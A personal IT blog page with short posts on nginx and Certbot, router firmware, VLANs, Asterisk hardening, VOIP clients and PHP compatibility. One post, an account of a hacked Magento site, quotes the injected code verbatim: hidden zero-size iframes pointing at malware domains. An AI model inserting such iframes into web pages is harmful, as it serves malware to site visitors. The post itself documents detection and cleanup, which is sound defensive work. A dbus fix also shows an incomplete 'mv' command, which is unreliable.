Category: 小小草

IT 技术领域学海无涯。其实任何领域都学海无涯,无非 IT 发展太快了,让我有更多嘘唏。希望我掌握的技术有如小小草,虽然渺小,却有旺盛的生命力。

  • No more www

    以前网站域名总是冠以 www,后来谁说 www 是多余了,建议大家不要拖泥带水,域名前裸奔成了时尚。

    但我总是很念旧,如果以前是带 www 访问的,我倾向于保留这个传统,直到我发现——

    有个静态网站托我管,N 多年了也不更新,我自作主张决定送他一张 Let’s Encript 证书。可是 Certbot –nginx 在修改带 www 的 conf 文件后,造成访问来回重定向(无法访问)。我只好放弃 www 传统,Certbot 就能给我生成一个正常的 conf。

    附 Certbot 不能自主修改的带 www 的 conf

    ## Html only

    server {
    listen 80;
    server_name www.example.com;
    root /document_root/public_html;
    index index.html;
    }

    # Redirect undesired domains

    server {
    listen 80;
    server_name example.com *.example.com;
    return 301 $scheme://www.example.com$request_uri;
    }

    附 Certbot 能自主修改的不带 www 的 conf

    ## Html only

    server {
    listen 80;
    server_name example.com;
    root /document_root/public_html;
    index index.html;
    }

    # Redirect undesired domains

    server {
    listen 80;
    server_name *.example.com;
    return 301 $scheme://example.com$request_uri;
    }

    我喜欢捕捉 undesired domains,这也是困扰 Certbot 的一个因素。但为了拥抱 Certbot,还是彻底放弃传统的 www 吧。

  • DD-WRT vs OpenWRT vs FreshTomato

    最近把两个闲置的 Netgear R6300 v2 刷了几次 WRT 和 Tomato firmware,意在用它们代替 Draytek 2860n/2910 组建 site-to-site VPN,同时用上 VLAN。

    题外话:Draytek 2910 只支持百兆网口,Draytek 2860n 虽说都是千兆网口,但 WAN throughput 仅在 300 mbps 左右,归根到底是一款 DSL 年代的产品,已经跟不上时代的。认识 Draytek 十多年,本是 Draytek 忠实的客户,买过它几十个产品,都有不错的表现,除了最后一批 Draytek AP910C 令我失望。最近升级路由器,本也考虑过 Draytek 3910,但最终选了 Mikrotik CCR1036。认识了 Mikrotik 一个多月,有比较就有伤害,突然就觉得 Draytek 格局太小,以后不会再买。Mikrotik 有点贵,暂时不想用第二台 Mikrotik 组建 site-to-site VPN。

    我最先把 Netgear R6300 刷了 DD-WRT,读了几篇 wiki,说 VLAN 不能在 GUI 下完成,需要 GUI+CLI 才行。我倒不是排斥用命令行,事实上我还是挺喜欢敲打命令的(显得专业),但我排斥 DD-WRT 这个设计逻辑,我觉得搞个 VLAN 还得用到命令行,让人不爽。

    于是我立马投入了 OpenWRT 的环抱。OpenWRT 确实在 VLAN 界面上做得比 DD-WRT 好多了,也不需要用到命令行,就该这样。OpenWRT 安装插件也很方便,我就是在 OpenWRT 站点上注意到 Wireguard VPN(但不预装),据称要好过 OpenVPN。但还没来得及研究 VPN,就发现 OpenWRT 不支持 Netgear R6300 v2 的 5Ghz Wi-Fi。我觉得这不能接受,毕竟 Netgear R6300 v2 硬件支持 802.11ac,Draytek 2860n 只支持 802.11n,这也是我把它换掉的一个原因,如果整个 5Ghz Wi-Fi 都没有,那不是退步了?

    于是我又找了 FreshTomato,看 wiki 说它支持 Netgear R6300 v2 的5Ghz Wi-Fi 才刷。FreshTomato 的 GUI 做得没有 OpenWRT 好,但搞个 VLAN 没有问题。FreshTomato 预装 OpenVPN,几乎是一键设置,把复杂的 OpenVPN 简化得倒是很好,我很顺利地在两台 FreshTomato 间建立了 OpenVPN 隧道,可是无法访问对方局域网。我正花时间在研究怎么打通 site-to-site,却发现 FreshTomato Wi-Fi 并不稳定,隔几个小时就无法访问 internet(有线连接的 LAN 口能稳定访问 internet),无法确定是它 Wi-Fi 本身的问题,还是 OpenVPN 带来的问题。不管如何,我再次决定抛弃 FreshTomato。

    好马也吃回头草,我觉得还是投回 DD-WRT 的环抱。走了一圈,觉得就算一定要用命令行实现 VLAN 也可以接受了,usability 的缺陷总比某些功能性的缺陷要好吧。

    然后就又刷了一遍 DD-WRT,没有其他选择了,只好静下心研究我所需要的 VPN 和 VLAN。静下心就有惊喜,我发现 DD-WRT 预装了 Wireguard,自从认识了 Wireguard 后,她就是我的优选方案。至于 VLAN,我觉得或许它并不需要借助命令行去设置,之前看的 wifi 可能过时了,但我还没时间去研究,先搁着吧。

  • Mikrotik hybrid VLAN port

    我就想吐槽一下自己,我整整一个圣诞到新年的假期,都在研究如何在 Mikrotik router 上做一个 hybrid VLAN port。其实我可能第一天就做出来了,但是怎么都不生效,让我觉得可能自己还不会设置,反复调整,直到今天我才发现,原来是忘了 Mikrotik router 和我的目标设备之间还有一个 EdgeSwitch。

    之前我创建了 VLAN trunk,我想在此基础上加一个 untagged VLAN,以便进入一对未设定 management VLAN 设备 Metrolinq 的管理界面。

    我完全忘了这一对 Metrolinq 并有没有直接接入 Mikrotik router,而是接入了 EdgeSwitch,EdgeSwitch 再接入 Mikrotik router。这也是最近网络基础设施大升级的一部分,这么做的好处是用 EdgeSwitch POE 供电给 Metrolinq,抛弃 Metrolinq 原配的 POE adapter,因为我感觉原配的 POE adapter 似乎不太稳定,发生过多次莫名其妙的断网,靠重启 POE adapter 恢复。

    所以,不管我在 Mikrotik router 做什么调整,EdgeSwitch 仍是原来那个 VLAN trunk,新增的 untagged VLAN 根本到不了 Metrolinq。

    我的假期就这么浪费掉了,本来可以干很多其他事情的。也不是完全没有收获,反复研读 Mikrotik Wiki,理解力有点提高。

  • Windows cannot access WD Mybookworld CIFS share problem resolved

    我有一台 Windows 10 家庭版的电脑,无法访问 WD Mybookworld CIFS。具体症状是访问 \\wd_ip_address 就被拒绝,但该 IP 地址可以被 ping,也可以访问 WD Mybookworld 的 web UI。

    为了找出问题所在,我进行了完整的交叉替换测试。我先试着用它借用一个 IP 访问 WD Mybookworld CIFS,被拒绝,该 IP 在其他电脑上使用正常;然后用它来访问同一网络内的另一台 NAS 下的 CIFS,这是一台自建的 NAS,装的系统是 FreeNAS,可以访问;接着用另一台 Windows 10 家庭版的电脑访问了 \\wd_ip_address,也能访问。所以问题仅限于一台特定的电脑访问特定的 NAS,查看了 WD Mybookworld 里的设置,没找到能拒绝特定 IP 访问的设置,即使有,似乎也不太可能做过这样的限制。

    找啊找,最后发现是 Windows 10 “SMB 1.0/CIFS File sharing support” 被关闭了,需要在控制面版 >> 程序和功能 >> 启用或关闭 Windows 功能里重新启用。估计 WD Mybookworld CIFS 用的是 SMB 1.0,而 FreeNAS 用了更高版的 SMB,所以这个 Windows 共享文件夹的问题只影响了特定的机型。

    我还是不懂怎么就把这一台 Windows 10 “SMB 1.0/CIFS File sharing support” 给关闭的,反正感觉 Windows 10 毛病挺多的。

  • Do not run Asterisk as root user

    我用的 FreePBX 带的 Asterisk 是很久以前安装的,也没有关心过它是不是以 root 身份运行,直到最近被攻击。

    攻击的症状是有大量的流量访问,伴随流量不停在 /tmp 目录下生成 1-2 GB 的垃圾文件,产生文件的速度似乎跟流量大小相关。

    我不懂此次攻击的原理,但我发现原来一直以来 Asterisk 都是以 root 身份运行,我也知道这不合适。同时我也发现系统里早已有 asterisk 用户和 asterisk 组,程序、配置文件和文件夹的属主和属组都已是 asterisk 和 asterisk,也许攻击者对 Asterisk 做了提权。

    不管怎样,我得先把 Asterisk 改为非 root 身份运行。因为我的 Asterisk 以 service 方式启动,所以我在 /etc/init.d/asterisk 里增加了两行:

    AST_USER="asterisk"
    AST_GROUP="asterisk"

    重启就 OK 了。流量正常了,/tmp 下也不再生产垃圾文件,但不知道攻击有没有消失,至少漏洞堵上了。

    在堵漏洞的过程中还有个插曲:一开始还不清楚是不是操作系统层面的漏洞,我一上来就来一个

    yum update -y

    结果重启后发现系统瘫痪了,连 ssh 也进不去,只好用 console 登录,发现尝试用 service 启动任何服务时都会出现类似的错误信息。

    Error getting authority: Error initializing authority: Could not connect: Connection refused (g-io-error-quark, 44)

    据说这是 CentOS 在某个阶段升级特有的毛病。执行以下命令就好了:

    mv /var/run/dbus/system_bus_socket

    ln -s /run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

  • Magento site was compromised

    It was my first time to see a hacker is close to me.

    I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

    It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

    Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

    Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

    <iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

    hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

    When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

    At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

  • Why DrayTek SmartVPN does not work in Windows 10?

    Why DrayTek SmartVPN does not work in Windows 10? Well, it will work, but it does not work out of box. 

    After installing SmartVPN in Windows 10, I set SmartVPN client to use remote gateway and DNS, then I can see VPN connection is green (as usual), and I can get public IP of remote gateway. However, the traffic is not fully routed to remote gateway. From the symptom I guess DNS is not routed to remote.

    To fix this problem, I have to disable “Automatic metric” for TCP/IPv4 property of VPN connection, and manually set “Interface metric” to a figure that is smaller than the one of Local connection or Wi-Fi connection, whichever I am using to connect to the Internet.

    The theory behind is simple – the smaller metric is, the higher priority of the route. By default settings Windows 10 cannot work out a suitable metric for VPN connection, but Windows 7 can. This is another proof of Windows is getting more stupid.

  • Call to undefined function music_list()

    今天在 FreePBX 里试图编辑一个分机,点了编辑结果出现一个错误:Call to undefined function music_list()。

    好端端怎么有了这么个错误?后来发现是没有安装 Music On Hold 模块的缘故,安装并启用这个模块,错误就消失了。

    可是我不需要 Music On Hold 模块啊,记得之前也是为了应付一个错误安装了不需要的 Call Recording 模块。这样下去,模块越装越多,直到某一天 FreePBX 崩溃……

  • Zoiper cannot stay online on mobile phones

    Zoiper 是我青睐的一个 VOIP 客户端,最大好处是它同时支持 SIP 和 IAX2 协议,最大坏处是它太想捞钱,竟然把视频通话功能归入收费版本。

    言归正传,我在使用 Zoiper 过程中,发现 Zoiper 里的 SIP 或 IAX2 帐号在手机上不能稳定在线,通常是在手机屏幕熄灭 5 秒钟进入锁屏状态(默认设置)后,Zoiper 就掉线了;如果锁屏前 Zoiper 是当前窗口,则在锁屏后存活的几率大大提高,但仍免不了掉线。

    另外有几个发现:

    • 如果在平板上使用 Zoiper,则非常稳定。
    • 在 Huawei P8 手机上使用 Zoiper,也非常稳定,真是个奇迹。性能更好的 Mate 7, Mate 8 在这方面都不如 P8。
    • 在绝大部分手机上使用 Zoiper,一旦掉线,Zoiper 不会(或看上去不会)自动重试上线。
    • 手机在充电时使用 Zoiper,则比不充电时要略稳定。

    如果 Zoiper 不稳,那我就无法把重要来电转接到 VOIP。所以我花了点时间一一对比了 P8 和其他手机上 Zoiper 的设置。虽然我仍未发现 P8 上 Zoiper 能站稳的原因,但我发现,在电源省电管理里,给 Zoiper 选中“锁屏后保护进程”对其稳定在线是有好处的。默认未选中,P8 上的默认也是未选中,但 Zoiper 就是稳,所以我不理解。

    不管怎样,“锁屏后保护进程”让 Zoiper 在 Mate 7 和 Mate 8 上稳定了好多,但又来了新问题——大大增加了另一种掉线的概率,错误信息:“503 Transport failure: no transports left to try”。我搜了一下,不知所云。

    不过,我发现这个错误只针对 SIP 帐号。IAX2 帐号在选中“锁屏后保护进程”的手机上能稳定在线,期间经历 Wi-Fi / 4G / 3G 的来回切换,Zoiper 都能网络恢复后自动上线。幸好 IPPBX 的控制权也在我,那以后就在手机上用 IAX2 帐号吧。

  • FreePBX 13 does not work on php 7.0.1

    前几天安装 Magento 2,竟然说要 php 5.5 以上版本。本不追新的我,想到反正要用到 remi repo,那就装个最新的 php 7.0.1。结果 Magento 2 倒是能运行,但 FreePBX 13 的 web UI 出不来了,显示成空白页。我估计是 FreePBX 所用的 php 语法不够规范,简单排查了一下,根本没看出是哪里的毛病。我估计对 php 7.0.1 来说,FreePBX 到处是毛病。虽然此时 asterisk 仍正常运行,但我不能让 web UI 长期瘫痪啊,赶紧找了个时间拆了 php 7.0.1,换上了 php 5.6。这是目前兼容性最好的版本,FreePBX 和 Magento 2 均能运行,证明对 php 环境不能过于追新。